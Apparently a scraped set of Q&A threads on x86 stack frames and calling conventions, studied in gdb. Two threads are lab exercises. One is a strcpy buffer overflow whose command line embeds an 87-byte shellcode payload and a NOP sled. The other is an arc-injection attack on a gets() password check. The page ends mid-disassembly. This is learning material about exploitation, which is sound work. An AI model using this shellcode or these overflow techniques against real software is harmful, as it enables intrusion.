Related
I have a C program that calls a two procedures from my assembly file, the procedures are defined like this extern int myfunc(int a,int b) and myfunc2(int c,int d) ,now after myfunc call in C, i can access the parameters in assembly like this: b is at [BP+6] and a is at [BP+4] this is in the SMALL MODEL.
Now i want to call myfunc2(int c,int d) but from my assembly file while i'm in my myfunc.
How do i set up the stack for myfunc2 and pass it parameters?
And will it mess up the current stack for myfunc ,if yes how do i deal with that?
MY Assembly file:
.MODEL SMALL
.STACK 100h
.DATA
.CODE
PUBLIC _myfunc
PUBLIC _myfunc2
_myfunc PROC NEAR
.386
PUSH BP
MOV BP,SP
;here i need to do myfun2(1,2)
POP BP
RET
_myfunc ENDP
_myfunc2 PROC NEAR
.386
PUSH BP
MOV BP,SP
MOV DX,[BP+6];get d
MOV AX,[BP+4];get c
ADD AX,DX;add them up
;the return value will be in AX
POP BP
RET
_myfunc2 ENDP
END
MY C file:
#include <stdio.h>
#include <stdlib.h>
extern int myfunc(int a,int b);
extern int myfunc2(int c,int d);
int main()
{
int res;
res=myfunc(int a,int b);
}
You set up the stack by pushing values onto it. The beauty of the stack mechanism is that passing parameters to another function will not mess up the stack of the current function, provided that you do not do anything terribly wrong.
There is no simple answer to your question because a lot depends on the ABI (Application Binary Interface) in use, on the calling convention of your function, (is it cdecl?), etc.
The safest way to go about it is to have your C compiler generate assembly output of your C code, and then do as it does. But in general, it will look like this:
push ax ; pass int c parameter (assuming int is 16-bit)
push dx ; pass int d parameter (assuming int is 16-bit)
call _myfunc2 ; invoke the function
add sp, 4 ; clean up stack (assuming cdecl calling convention)
The above assumes that an int is 16-bit, which is I think reasonable when I hear you speaking of MODEL SMALL.
Because there truly isn't really a simple answer, the best way to go about this is with the gnu debugger, or the docs, but you'll end up in gdb anyway. One way is to write the programs in C, disassemble them, and see for yourself what the calling conventions are. You could use the stack, you could just as easily use registers to pass these simple values as 64-bit typically does and 32-bit syscalls do.
//testc.c
int func2(int c, int d)
{
return c-d;
}
int func(int a, int b)
{
a+=2;
b++;
func2(a,b);
}
//cfile.c
#include <stdio.h>
#include <stdlib.h>
extern int func(int a,int b);
extern int func2(int c,int d);
int main()
{
int res;
int b = 4;
int c = 3;
res=func(b, c);
}
Compiling
$ gcc -m32 -g -c testc.c
unroot#flerb:~/stacko$ gcc -m32 -g cfile.o testc.o -o a.out
unroot#flerb:~/stacko$ ./a.out
unroot#flerb:~/stacko$ echo $?
0
In gdb
$ gdb -q a.out
Reading symbols from a.out...done.
(gdb) set listsize 50
(gdb) list 0
1 #include <stdio.h>
2 #include <stdlib.h>
3
4 extern int func(int a,int b);
5 extern int func2(int c,int d);
6 int main()
7 {
8 int res;
9 int b = 4;
10 int c = 3;
11 res=func(b, c);
12 }
(gdb) break main
Breakpoint 1 at 0x57c: file cfile.c, line 9.
(gdb) run
Starting program: /home/unroot/stacko/a.out
Breakpoint 1, main () at cfile.c:9
9 int b = 4;
Looking at the contents of the stack when we're breaked at main
(gdb) x/20x $esp
0xffffd290: 0x00000001 0xffffd354 0xffffd35c 0x56555611
0xffffd2a0: 0xffffd2c0 0x00000000 0x00000000 0xf7e12276
0xffffd2b0: 0x00000001 0xf7fad000 0x00000000 0xf7e12276
0xffffd2c0: 0x00000001 0xffffd354 0xffffd35c 0x00000000
0xffffd2d0: 0x00000000 0x00000000 0xf7fad000 0xf7ffdc04
Just to have a quick look at the contents before parameters are pushed on
(gdb) x/20x $esp-0x10
0xffffd280: 0x00000003 0x56557000 0x00000001 0x56555577
0xffffd290: 0x00000001 0xffffd354 0xffffd35c 0x56555611
0xffffd2a0: 0xffffd2c0 0x00000000 0x00000000 0xf7e12276
0xffffd2b0: 0x00000001 0xf7fad000 0x00000000 0xf7e12276
0xffffd2c0: 0x00000001 0xffffd354 0xffffd35c 0x00000000
(gdb) disas
Dump of assembler code for function main:
0x56555560 <+0>: lea ecx,[esp+0x4]
0x56555564 <+4>: and esp,0xfffffff0
0x56555567 <+7>: push DWORD PTR [ecx-0x4]
0x5655556a <+10>: push ebp
0x5655556b <+11>: mov ebp,esp
0x5655556d <+13>: push ebx
0x5655556e <+14>: push ecx
0x5655556f <+15>: sub esp,0x10
0x56555572 <+18>: call 0x565555af <__x86.get_pc_thunk.ax>
0x56555577 <+23>: add eax,0x1a89
=> 0x5655557c <+28>: mov DWORD PTR [ebp-0xc],0x4
0x56555583 <+35>: mov DWORD PTR [ebp-0x10],0x3
0x5655558a <+42>: sub esp,0x8
0x5655558d <+45>: push DWORD PTR [ebp-0x10]
0x56555590 <+48>: push DWORD PTR [ebp-0xc]
0x56555593 <+51>: mov ebx,eax
0x56555595 <+53>: call 0x565555c8 <func>
0x5655559a <+58>: add esp,0x10
0x5655559d <+61>: mov DWORD PTR [ebp-0x14],eax
0x565555a0 <+64>: mov eax,0x0
0x565555a5 <+69>: lea esp,[ebp-0x8]
0x565555a8 <+72>: pop ecx
0x565555a9 <+73>: pop ebx
0x565555aa <+74>: pop ebp
0x565555ab <+75>: lea esp,[ecx-0x4]
0x565555ae <+78>: ret
End of assembler dump.
(gdb) break *0x56555595
Breakpoint 2 at 0x56555595: file cfile.c, line 11.
(gdb) cont
Continuing.
Look at contents of stack now, c=3 was pushed on, and then b=4 (notice I'm only writing this like this for ease, the values pushed on are purely values and have no connection with the variables that represent them once they are on the stack)
Breakpoint 2, 0x56555595 in main () at cfile.c:11
11 res=func(b, c);
(gdb) x/20x $esp
0xffffd280: 0x00000004 0x00000003 0x00000001 0x56555577
0xffffd290: 0x00000001 0xffffd354 0x00000003 0x00000004
0xffffd2a0: 0xffffd2c0 0x00000000 0x00000000 0xf7e12276
0xffffd2b0: 0x00000001 0xf7fad000 0x00000000 0xf7e12276
0xffffd2c0: 0x00000001 0xffffd354 0xffffd35c 0x00000000
(gdb)
So the parameters to the func call were pushed in reverse order, push 3 then push 4, evident because the stack is growing downwards to smaller addresses. When the called function accesses these parameters sometimes it will pop 4 off first and then 3 into separate registers using esp, or, as shown under the disassembly below, the called function can access them by pointers from ebp.
(gdb) disas
Dump of assembler code for function main:
0x56555560 <+0>: lea ecx,[esp+0x4]
0x56555564 <+4>: and esp,0xfffffff0
0x56555567 <+7>: push DWORD PTR [ecx-0x4]
0x5655556a <+10>: push ebp
0x5655556b <+11>: mov ebp,esp
0x5655556d <+13>: push ebx
0x5655556e <+14>: push ecx
0x5655556f <+15>: sub esp,0x10
0x56555572 <+18>: call 0x565555af <__x86.get_pc_thunk.ax>
0x56555577 <+23>: add eax,0x1a89
0x5655557c <+28>: mov DWORD PTR [ebp-0xc],0x4
0x56555583 <+35>: mov DWORD PTR [ebp-0x10],0x3
0x5655558a <+42>: sub esp,0x8
0x5655558d <+45>: push DWORD PTR [ebp-0x10]
0x56555590 <+48>: push DWORD PTR [ebp-0xc]
0x56555593 <+51>: mov ebx,eax
=> 0x56555595 <+53>: call 0x565555c8 <func>
0x5655559a <+58>: add esp,0x10
0x5655559d <+61>: mov DWORD PTR [ebp-0x14],eax
0x565555a0 <+64>: mov eax,0x0
0x565555a5 <+69>: lea esp,[ebp-0x8]
0x565555a8 <+72>: pop ecx
0x565555a9 <+73>: pop ebx
0x565555aa <+74>: pop ebp
0x565555ab <+75>: lea esp,[ecx-0x4]
0x565555ae <+78>: ret
End of assembler dump.
Stepping in to func
(gdb) stepi
func (a=4, b=3) at testc.c:9
9 {
(gdb) disas
Dump of assembler code for function func:
=> 0x565555c8 <+0>: push ebp
0x565555c9 <+1>: mov ebp,esp
0x565555cb <+3>: call 0x565555af <__x86.get_pc_thunk.ax>
0x565555d0 <+8>: add eax,0x1a30
0x565555d5 <+13>: add DWORD PTR [ebp+0x8],0x2
0x565555d9 <+17>: add DWORD PTR [ebp+0xc],0x1
0x565555dd <+21>: push DWORD PTR [ebp+0xc]
0x565555e0 <+24>: push DWORD PTR [ebp+0x8]
0x565555e3 <+27>: call 0x565555b3 <func2>
0x565555e8 <+32>: add esp,0x8
0x565555eb <+35>: nop
0x565555ec <+36>: leave
0x565555ed <+37>: ret
End of assembler dump.
The C call function pushed the return value onto the stack without any obvious hint that it was going to do that, but it's there taking up space
(gdb) x/20x $esp
0xffffd27c: 0x5655559a 0x00000004 0x00000003 0x00000001
0xffffd28c: 0x56555577 0x00000001 0xffffd354 0x00000003
0xffffd29c: 0x00000004 0xffffd2c0 0x00000000 0x00000000
0xffffd2ac: 0xf7e12276 0x00000001 0xf7fad000 0x00000000
0xffffd2bc: 0xf7e12276 0x00000001 0xffffd354 0xffffd35c
Then we step forward into the substance of func, where an offset from ebp is used to add 2 to a (the second function pushed onto the stack, which is therefore closer to ebp on the stack) and to add 1 to b which was pushed just before it
(gdb) step
10 a+=2;
(gdb) print/x $ebp
$1 = 0xffffd278
(gdb) x/20x $ebp
0xffffd278: 0xffffd2a8 0x5655559a 0x00000004 0x00000003
0xffffd288: 0x00000001 0x56555577 0x00000001 0xffffd354
0xffffd298: 0x00000003 0x00000004 0xffffd2c0 0x00000000
0xffffd2a8: 0x00000000 0xf7e12276 0x00000001 0xf7fad000
0xffffd2b8: 0x00000000 0xf7e12276 0x00000001 0xffffd354
(gdb) disas
Dump of assembler code for function func:
0x565555c8 <+0>: push ebp
0x565555c9 <+1>: mov ebp,esp
0x565555cb <+3>: call 0x565555af <__x86.get_pc_thunk.ax>
0x565555d0 <+8>: add eax,0x1a30
=> 0x565555d5 <+13>: add DWORD PTR [ebp+0x8],0x2 //a+=2
0x565555d9 <+17>: add DWORD PTR [ebp+0xc],0x1 //b++
0x565555dd <+21>: push DWORD PTR [ebp+0xc] //push b
0x565555e0 <+24>: push DWORD PTR [ebp+0x8] //push a
0x565555e3 <+27>: call 0x565555b3 <func2>
0x565555e8 <+32>: add esp,0x8
0x565555eb <+35>: nop
0x565555ec <+36>: leave
0x565555ed <+37>: ret
End of assembler dump.
Breaking at the call and checking the stack again
(gdb) break *0x565555e3
Breakpoint 3 at 0x565555e3: file testc.c, line 12.
(gdb) cont
Continuing.
Breakpoint 3, 0x565555e3 in func (a=6, b=4) at testc.c:12
12 func2(a,b);
(gdb) disas
Dump of assembler code for function func:
0x565555c8 <+0>: push ebp
0x565555c9 <+1>: mov ebp,esp
0x565555cb <+3>: call 0x565555af <__x86.get_pc_thunk.ax>
0x565555d0 <+8>: add eax,0x1a30
0x565555d5 <+13>: add DWORD PTR [ebp+0x8],0x2
0x565555d9 <+17>: add DWORD PTR [ebp+0xc],0x1
0x565555dd <+21>: push DWORD PTR [ebp+0xc]
0x565555e0 <+24>: push DWORD PTR [ebp+0x8]
=> 0x565555e3 <+27>: call 0x565555b3 <func2>
0x565555e8 <+32>: add esp,0x8
0x565555eb <+35>: nop
0x565555ec <+36>: leave
0x565555ed <+37>: ret
(gdb) x/20x $esp
0xffffd270: 0x00000006 0x00000004 0xffffd2a8 0x5655559a
0xffffd280: 0x00000006 0x00000004 0x00000001 0x56555577
0xffffd290: 0x00000001 0xffffd354 0x00000003 0x00000004
0xffffd2a0: 0xffffd2c0 0x00000000 0x00000000 0xf7e12276
0xffffd2b0: 0x00000001 0xf7fad000 0x00000000 0xf7e12276
Again our variables have been pushed on the stack, again in reverse order, as always, but you could control this too in assembly if you feel like being difficult.
(gdb) stepi
func2 (c=6, d=4) at testc.c:3
3 {
(gdb) disas
Dump of assembler code for function func2:
=> 0x565555b3 <+0>: push ebp
0x565555b4 <+1>: mov ebp,esp
0x565555b6 <+3>: call 0x565555af <__x86.get_pc_thunk.ax>
0x565555bb <+8>: add eax,0x1a45
0x565555c0 <+13>: mov eax,DWORD PTR [ebp+0x8]
0x565555c3 <+16>: sub eax,DWORD PTR [ebp+0xc]
0x565555c6 <+19>: pop ebp
0x565555c7 <+20>: ret
End of assembler dump.
Again the call pushes the return address onto the stack before transfering control to the called function.
(gdb) x/20x $esp
0xffffd26c: 0x565555e8 0x00000006 0x00000004 0xffffd2a8
0xffffd27c: 0x5655559a 0x00000006 0x00000004 0x00000001
0xffffd28c: 0x56555577 0x00000001 0xffffd354 0x00000003
0xffffd29c: 0x00000004 0xffffd2c0 0x00000000 0x00000000
0xffffd2ac: 0xf7e12276 0x00000001 0xf7fad000 0x00000000
Continuing and breaking at the substance of the called function.
(gdb) break *0x565555c0
Breakpoint 4 at 0x565555c0: file testc.c, line 4.
(gdb) cont
Continuing.
Breakpoint 4, func2 (c=6, d=4) at testc.c:4
4 return c-d;
(gdb) disas
Dump of assembler code for function func2:
0x565555b3 <+0>: push ebp
0x565555b4 <+1>: mov ebp,esp
0x565555b6 <+3>: call 0x565555af <__x86.get_pc_thunk.ax>
0x565555bb <+8>: add eax,0x1a45
=> 0x565555c0 <+13>: mov eax,DWORD PTR [ebp+0x8]
0x565555c3 <+16>: sub eax,DWORD PTR [ebp+0xc]
0x565555c6 <+19>: pop ebp
0x565555c7 <+20>: ret
End of assembler dump.
Examining the stack at the substance of func2, where the variables are accessed and the subtraction happens:
(gdb) x/20x $esp
0xffffd268: 0xffffd278 0x565555e8 0x00000006 0x00000004
0xffffd278: 0xffffd2a8 0x5655559a 0x00000006 0x00000004
0xffffd288: 0x00000001 0x56555577 0x00000001 0xffffd354
0xffffd298: 0x00000003 0x00000004 0xffffd2c0 0x00000000
0xffffd2a8: 0x00000000 0xf7e12276 0x00000001 0xf7fad000
(gdb) x/20x $ebp
0xffffd268: 0xffffd278 0x565555e8 0x00000006 0x00000004
0xffffd278: 0xffffd2a8 0x5655559a 0x00000006 0x00000004
0xffffd288: 0x00000001 0x56555577 0x00000001 0xffffd354
0xffffd298: 0x00000003 0x00000004 0xffffd2c0 0x00000000
0xffffd2a8: 0x00000000 0xf7e12276 0x00000001 0xf7fad000
So here [ebp+0x8] = 6 and [ebp+0xc] = 4 and the values are modified with the subtract instruction in the eax register, returning the result into the eax register.
Default convention for C is to let the caller push the return address prior to transferring control to the callee, and have the callee adjust the stack and base pointers, but you can do whatever you want when you're calling your own function and returning to your own function. Here I used C programs to illustrate what C does, but if you're using C to call an assembly program which calls another assembly program then you have explicit control of the base pointer between those assembly programs if you want it. You can chose to adjust them manually and jmp to your second function call, which will circumvent the automatic call procedure of pushing the return address and setting up the stack, not entirely useful; or the assembly call instruction will use the same procedure to initialize the called function and you can expect the offsets to be the same as in C functions.
Good link on x86 Call conventions including cdecl and stdcall
and
A handy syscall reference showing use of registers for function calls
This is a simple example of using registers to pass variables in 32 bit, no stack necessary.
//testasm32.asm
section .text
global _start
_start:
mov ecx, hello1
call print_string
mov ecx, hello2
call print_string
mov eax, 1
int 0x80
print_string:
mov eax, 4
mov ebx, 1
mov edx, 6
int 0x80
ret
section .data
hello1 db "Hello1"
hello2 db "Hello2"
$ nasm -f elf32 testasm32.asm
unroot#flerb:~/LearningLinuxBinaryAnalysis_Code$ ld -m elf_i386 -o testasm32 testasm32.o
unroot#flerb:~/LearningLinuxBinaryAnalysis_Code$ ./testasm32
Hello1Hello2
$ echo $?
1
Interestingly ebx holds the error code for the exit syscall, so it returns 1 because ebx was set to 1 in the print_string command and was not cleared.
I am working through some buffer overflow exploit examples and have written a basic vulnerable C app to test with: (target and attacker is the same Kali 2 machine and have run "echo "0" > /proc/sys/kernel/randomize_va_space")
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int main(int argc, char *argv[])
{
char buffer[256];
if (argc != 2)
{
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
}
Now, with some testing in GDB i can cause a seg fault by putting 260 bytes in the buffer:
r $(python -c 'print "A" * 204 + "BBBB" + "C" * 52')
with the registers showing:
eax 0x105 261
ecx 0xffffd300 -11520
edx 0xf7fb3878 -134530952
ebx 0xf7fb2000 -134537216
esp 0xffffd300 0xffffd300
ebp 0x0 0x0
esi 0x0 0
edi 0x0 0
eip 0x42424242 0x42424242
eflags 0x10286 [ PF SF IF RF ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x63 99
I think i can successfully gain control of EIP, given the 0x424242 above (although EBP is 0x0??)
Question 1.
With a buffer of 260 bytes, EIP is overridden as above. If using:
r $(python -c 'print "A" * 512')
i am finding that the SEGSEGV is at 0x080484b4 with registers
eax 0x201 513
ecx 0x41414141 1094795585
edx 0xf7fb3878 -134530952
ebx 0xf7fb2000 -134537216
esp 0x4141413d 0x4141413d
ebp 0x41414141 0x41414141
esi 0x0 0
edi 0x0 0
eip 0x80484b4 0x80484b4 <main+89>
eflags 0x10286 [ PF SF IF RF ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x63 99
I would have thought that if the 260 gains control of EIP, shouldn't the 512 byte example as well? Why does the 512 scenario allow the EIP to point to the ret in this case instead of the 0x424242 as in the 260 bytes buffer example above??
Question 2.
I have created a payload that is 87 bytes. I have injected the payload into the initial 204 bytes as below
r $(python -c 'print "\x90" * (204-87) + "<87 byte payload>" + "EIP <address>" + "\x90" * (260-204-4)')
My disas main is as follows
0x0804845b <+0>: lea 0x4(%esp),%ecx
0x0804845f <+4>: and $0xfffffff0,%esp
0x08048462 <+7>: pushl -0x4(%ecx)
0x08048465 <+10>: push %ebp
0x08048466 <+11>: mov %esp,%ebp
0x08048468 <+13>: push %ecx
0x08048469 <+14>: sub $0x104,%esp
0x0804846f <+20>: mov %ecx,%eax
0x08048471 <+22>: cmpl $0x2,(%eax)
0x08048474 <+25>: je 0x8048480 <main+37>
0x08048476 <+27>: sub $0xc,%esp
0x08048479 <+30>: push $0x0
0x0804847b <+32>: call 0x8048340 <exit#plt>
0x08048480 <+37>: mov 0x4(%eax),%eax
0x08048483 <+40>: add $0x4,%eax
0x08048486 <+43>: mov (%eax),%eax
0x08048488 <+45>: sub $0x8,%esp
0x0804848b <+48>: push %eax
0x0804848c <+49>: lea -0x108(%ebp),%eax
0x08048492 <+55>: push %eax
0x08048493 <+56>: call 0x8048310 <strcpy#plt>
0x08048498 <+61>: add $0x10,%esp
0x0804849b <+64>: sub $0xc,%esp
0x0804849e <+67>: lea -0x108(%ebp),%eax
0x080484a4 <+73>: push %eax
0x080484a5 <+74>: call 0x8048320 <puts#plt>
0x080484aa <+79>: add $0x10,%esp
0x080484ad <+82>: mov -0x4(%ebp),%ecx
0x080484b0 <+85>: leave
0x080484b1 <+86>: lea -0x4(%ecx),%esp
=> 0x080484b4 <+89>: ret
Putting a break on 56 (0x08048493) and examining the ESP x/2wx $esp i can find that:
0xffffd220: 0xffffd230 0xffffd56b
and x/s 0xffffd56b
0xffffd56b: 'A' <repeats 117 times>, 'B' <repeats 83 times>...
(gdb)
0xffffd633: "BBBBCCCC", 'D' <repeats 52 times>
so, can deduce (hopefully correctly) that EIP should be \x6b\xd5\xff\xff to call the exploit, and substituting all pieces as below (using nop sled):
r $(python -c 'print "\x90" * (204-87) + "\x48\x31\xc9\x48\x81\xe9\xfa\xff\xff\xff\x48\x8d\x05\xef\xff\xff\xff\x48\xbb\xa9\xb2\x8c\x21\x7d\xac\xb1\x84\x48\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\xc3\x89\xd4\xb8\x35\x17\x9e\xe6\xc0\xdc\xa3\x52\x15\xac\xe2\xcc\x20\x55\xe4\x0c\x1e\xac\xb1\xcc\x20\x54\xde\xc9\x75\xac\xb1\x84\x86\xd0\xe5\x4f\x52\xdf\xd9\x84\xff\xe5\xc4\xa8\x9b\xa3\xb4\x84" + "\x6b\xd5\xff\xff" + "\x90" * (260-204-4)')
Unfortunately, the program is now just terminating normally with "[Inferior 1 (process 2863) exited normally]". Am i missing something or just way off the correct path...? Also i notice breaks no do not break in the statement above?
-- Edit
Reworded to make more sense after walking away from the hours at the screen :)
Notice that the original stack pointer is saved on the stack and it is restored just before the ret. So if you overwrite the stack you might also overwrite the stack pointer which will be used for the ret. main is special this way, because it has stack alignment code in the prologue.
That said, the expected behavior is actually the second case and the first is the special one. Your string happens to be just the right length so the terminating zero overwrites the low byte of the saved stack pointer which is just enough to make it point a little lower in memory, but still within your string. The exact location will depend on stack layout, it won't always be your BBBB, in fact for me it's somewhere in the AAAA part. Note that even with ASLR off, stack layout might change due to environment so even if you get an exploit working in gdb it might not work reliably, or at all, from a shell.
I'm just learning some low level analysis of the programs. In 32 bit compilation with gcc, I found that the stack frame is created in the following order:
Push the function arguments in reverse order.
Save the return address
Save the frame pointer
Create the local variables
So the address of the arguments should be highest, as stack grows in reverse order. But when I tried the same with a 64 bit compilation, I cant understand how it's created, it's just the opposite of what I found in 32 bit compilation. Here is the code and memory details:
void test(int a, int b, int c, int d)
{
int flag;
char buf[10];
num = 100;
}
int main()
{
test(1, 2, 3, 4);
}
Right now for simplicity let's take only the arguments and return address.
32-bit compilation:
0xffffd130: 0x00000001 0xffffd1f4 0xffffd1fc 0xf7e3ad1d
0xffffd140: 0xffffd158 0x0804842d 0x00000001 0x00000002
0xffffd150: 0x00000003 0x00000004 0x00000000 0xf7e22933
0xffffd160: 0x00000001 0xffffd1f4 0xffffd1fc 0xf7fdb6b0
0x08048421 <+30>: mov DWORD PTR [esp],0x1
0x08048428 <+37>: call 0x80483f0 <test>
0x0804842d <+42>: leave
Here everything is proper. I can see the arguments at higher address, immediately followed by the return address 0x0804842d which is at lower address. Now,
64-bit compilation:
0x7fffffffdf80: 0x00000004 0x00000003 0x00000002 0x00000001
0x7fffffffdf90: 0x00400530 0x00000000 0x00400400 0x00000000
0x7fffffffdfa0: 0xffffdfb0 0x00007fff 0x0040052a 0x00000000
0x7fffffffdfb0: 0x00000000 0x00000000 0xf7a3baf5 0x00007fff
0x0000000000400525 <+24>: call 0x4004f0 <test>
0x000000000040052a <+29>: pop rbp
0x000000000040052b <+30>: ret
Here I can see that the arguments are at a lower address and the return address 0x0040052a is at a higher address. What is the problem here? is the stack growing in an opposite direction (lower to higher address) or the creation of stack frame is different from the above mentioned sequence? Please help me to understand. Thanks.
On x86-64 the standard way of passing arguments is through the use of registers, not the stack (unless you got more than 6). See http://www.x86-64.org/documentation/abi.pdf
I highly recommend not doing any kind of experimentation without reading proper documents first (like the one I just linked).
Anyway, you could easily see the arguments were not passed on the stack if you disassembled main:
0x0000000000400509 <+0>: push %rbp
0x000000000040050a <+1>: mov %rsp,%rbp
0x000000000040050d <+4>: mov $0x4,%ecx
0x0000000000400512 <+9>: mov $0x3,%edx
0x0000000000400517 <+14>: mov $0x2,%esi
0x000000000040051c <+19>: mov $0x1,%edi
0x0000000000400521 <+24>: callq 0x4004f0 <test>
0x0000000000400526 <+29>: pop %rbp
0x0000000000400527 <+30>: retq
And you could also see how they end up on the stack within test:
0x00000000004004f0 <+0>: push %rbp
0x00000000004004f1 <+1>: mov %rsp,%rbp
0x00000000004004f4 <+4>: mov %edi,-0x14(%rbp)
0x00000000004004f7 <+7>: mov %esi,-0x18(%rbp)
0x00000000004004fa <+10>: mov %edx,-0x1c(%rbp)
0x00000000004004fd <+13>: mov %ecx,-0x20(%rbp)
0x0000000000400500 <+16>: movl $0x64,-0x4(%rbp)
0x0000000000400507 <+23>: pop %rbp
0x0000000000400508 <+24>: retq
I'm new to security and currently referring to Robert Seacord's Secure Coding in C and C++. In chapter 2 of the same, the author talks about arc injection, wherein he passes the flow of control in the following program from the isPasswordOK() routine to the else() {puts ("Access granted!");}; branch in main() by overwriting the Password buffer in gets() call with a tainted string: 1234567890123456j>*!
#include <stdio.h>
#include <string.h>
#include <stdbool.h>
bool isPasswordOK(void) {
char Password[12];
gets(Password);
return 0 == strcmp(Password, "goodpass");
}
int main(void) {
bool pwStatus;
puts("Enter Password: ");
pwStatus = isPasswordOK();
if (pwStatus == false) {
puts("Access denied");
exit(-1);
}
else {
puts("Access granted!");
}
}
Here, j = 0x6A, > = 0x10 (This is the Data Link Escape symbol), * = 0x2A and ! = 0x21
This sequence of 4 characters then correspond to a 4 byte address, which I'm assuming is 0x6A102A21. This address, I think, points to the else line in the main() function, and we redirect control by overwriting the return address on the stack by the address of this line.
I'm trying to reproduce the same on my machine (x86-64 architecture). I've turned stack protection and randomization off, so I don't think that should be a issue. In fact, the program crashes as expected when I try to corrupt the return address. My problem is: how do I provide as an input to gets the tainted string? If I disassemble main using gdb, I get the following output:
(gdb) disassemble main
Dump of assembler code for function main:
0x0000000000400642 <+0>: push %rbp
0x0000000000400643 <+1>: mov %rsp,%rbp
0x0000000000400646 <+4>: sub $0x10,%rsp
0x000000000040064a <+8>: mov $0x40071d,%edi
0x000000000040064f <+13>: callq 0x4004c0 <puts#plt>
0x0000000000400654 <+18>: callq 0x400616 <isPasswordOK>
0x0000000000400659 <+23>: mov %al,-0x1(%rbp)
0x000000000040065c <+26>: movzbl -0x1(%rbp),%eax
0x0000000000400660 <+30>: xor $0x1,%eax
0x0000000000400663 <+33>: test %al,%al
0x0000000000400665 <+35>: je 0x40067b <main+57>
0x0000000000400667 <+37>: mov $0x40072e,%edi
0x000000000040066c <+42>: callq 0x4004c0 <puts#plt>
0x0000000000400671 <+47>: mov $0xffffffff,%edi
0x0000000000400676 <+52>: callq 0x400510 <exit#plt>
0x000000000040067b <+57>: mov $0x40073c,%edi
0x0000000000400680 <+62>: callq 0x4004c0 <puts#plt>
0x0000000000400685 <+67>: leaveq
0x0000000000400686 <+68>: retq
End of assembler dump.
Since I want to jump to the second puts() call, I think I need to provide 0x0000000000400680 as a part of my tainted string because this is the address of the second puts() according to the gdb disassembly.
How can I do this? In the book, the address were of length 4 bytes, but here I have to deal with 16 bytes. Also, there is no ASCII representation for 0x80, so what am I supposed to provide as an input to gets? Basically, what I'm asking for are the characters that I should provide at ?:
1234567890123456????
I'm utterly confused, so any help is appreciated, thanks!
I had the same problem and I will try to help you. The problem is that the string highly depends also on the compiler, so I will explain you how to get the string acording to my example.
My program looks like this (similar to yours)
isPasswordOk.cpp:
#include <iostream>
#include <cstdio>
#include <cstring>
bool isPasswordOk()
{
int result = 0xBBBBBBBB;
char password[10];
std::gets(password);
result = strcmp(password, "good") == 0;
return result;
}
int main()
{
bool pwStatus;
std::puts("Enter password:");
pwStatus = isPasswordOk();
if (pwStatus == false)
{
puts("Access denied!");
return -1;
}
puts("Access granted!");
return 0;
}
Then how do you compile this:
g++ isPasswordOk.cpp -std=c++11 -fno-stack-protector -o isPasswordOk
Important is the -fno-stack-protector, so not canarys are created. You can ofcourse use another c++ standard. But my example does not compile with std=c++14, because the gets function was removed.
Stack when calling isPasswordOk()
+-------------------------+ <--- stack pointer (rsp/esp)
| |
| password-buffer |
| |
| -------------------- |
| result | 0xBBBBBBBB
| --------------------- |
| (canary) | # when not disabled
+-------------------------+ <--- RBP
| Caller RBP frame ptr |
| --------------------- |
| Return Addr Caller |
+-------------------------+
Now use gdb to get the string to do the arc-injection.
gdb isPasswordOk
(gdb) run
Enter password:
AAAA
Access denied!
(gdb) disassemble isPasswordOk
Dump of assembler code for function _Z12isPasswordOkv:
0x0000555555554850 <+0>: push %rbp
0x0000555555554851 <+1>: mov %rsp,%rbp
0x0000555555554854 <+4>: sub $0x10,%rsp
0x0000555555554858 <+8>: movl $0xbbbbbbbb,-0x4(%rbp)
0x000055555555485f <+15>: lea -0x10(%rbp),%rax
0x0000555555554863 <+19>: mov %rax,%rdi
0x0000555555554866 <+22>: callq 0x555555554710
0x000055555555486b <+27>: lea -0x10(%rbp),%rax
0x000055555555486f <+31>: lea 0x14f(%rip),%rsi # 0x5555555549c5
0x0000555555554876 <+38>: mov %rax,%rdi
0x0000555555554879 <+41>: callq 0x555555554718
0x000055555555487e <+46>: test %eax,%eax
0x0000555555554880 <+48>: sete %al
0x0000555555554883 <+51>: movzbl %al,%eax
0x0000555555554886 <+54>: mov %eax,-0x4(%rbp)
0x0000555555554889 <+57>: cmpl $0x0,-0x4(%rbp)
0x000055555555488d <+61>: setne %al
0x0000555555554890 <+64>: leaveq
0x0000555555554891 <+65>: retq
End of assembler dump.
Now set some breakpoints
(gdb) break * 0x0000555555554858 # set breakpoint before gets
(gdb) break * 0x0000555555554879 # set breakpoint after gets
Now run it again (with the x option you can print the memory):
(gdb) run
Enter password:
AAAA
(gdb) x/12xw $rsp # rsp for 64 bit, esp for 32 bit
0x7fffffffde20: 0xffffde50 0x00007fff 0x55554720 0x00005555
0x7fffffffde30: 0xffffde50 0x00007fff 0x555548ab 0x00005555
0x7fffffffde40: 0xffffdf30 0x00007fff 0x00000000 0x00000000
(gdb) c
(gdb) x/12xw $rsp
0x7fffffffde20: 0x41414141 0x00007fff 0x55554720 0xBBBBBBBB # 0x41='A'
0x7fffffffde30: 0xffffde50 0x00007fff 0x555548ab 0x00005555
0x7fffffffde40: 0xffffdf00 0x00007fff 0x00000000 0x00000000
Access denied!
So the password was written on the address 0x7fffffffde20: 0x41414141 = "AAAA"
The local variable result is put after the buffer 0xBBBBBBBB.
You can also see that the buffer is internally 12 bytes, also I defined it to be 10 bytes.
So if I want to overwrite the Return Addr Caller 0x555548ab 0x00005555 I must write 0x20 (32) bytes.
First I have to know the address. Therefore I use the gdb again:
(gdb) disass main
Dump of assembler code for function main:
0x0000555555554892 <+0>: push %rbp
0x0000555555554893 <+1>: mov %rsp,%rbp
0x0000555555554896 <+4>: sub $0x10,%rsp
0x000055555555489a <+8>: lea 0x128(%rip),%rdi # 0x5555555549c9
0x00005555555548a1 <+15>: callq 0x5555555546f0
0x00005555555548a6 <+20>: callq 0x555555554850 <_Z12isPasswordOkv>
0x00005555555548ab <+25>: mov %al,-0x1(%rbp)
0x00005555555548ae <+28>: movzbl -0x1(%rbp),%eax
0x00005555555548b2 <+32>: xor $0x1,%eax
0x00005555555548b5 <+35>: test %al,%al
0x00005555555548b7 <+37>: je 0x5555555548cc <main+58>
0x00005555555548b9 <+39>: lea 0x119(%rip),%rdi # 0x5555555549d9
0x00005555555548c0 <+46>: callq 0x5555555546f0
0x00005555555548c5 <+51>: mov $0xffffffff,%eax
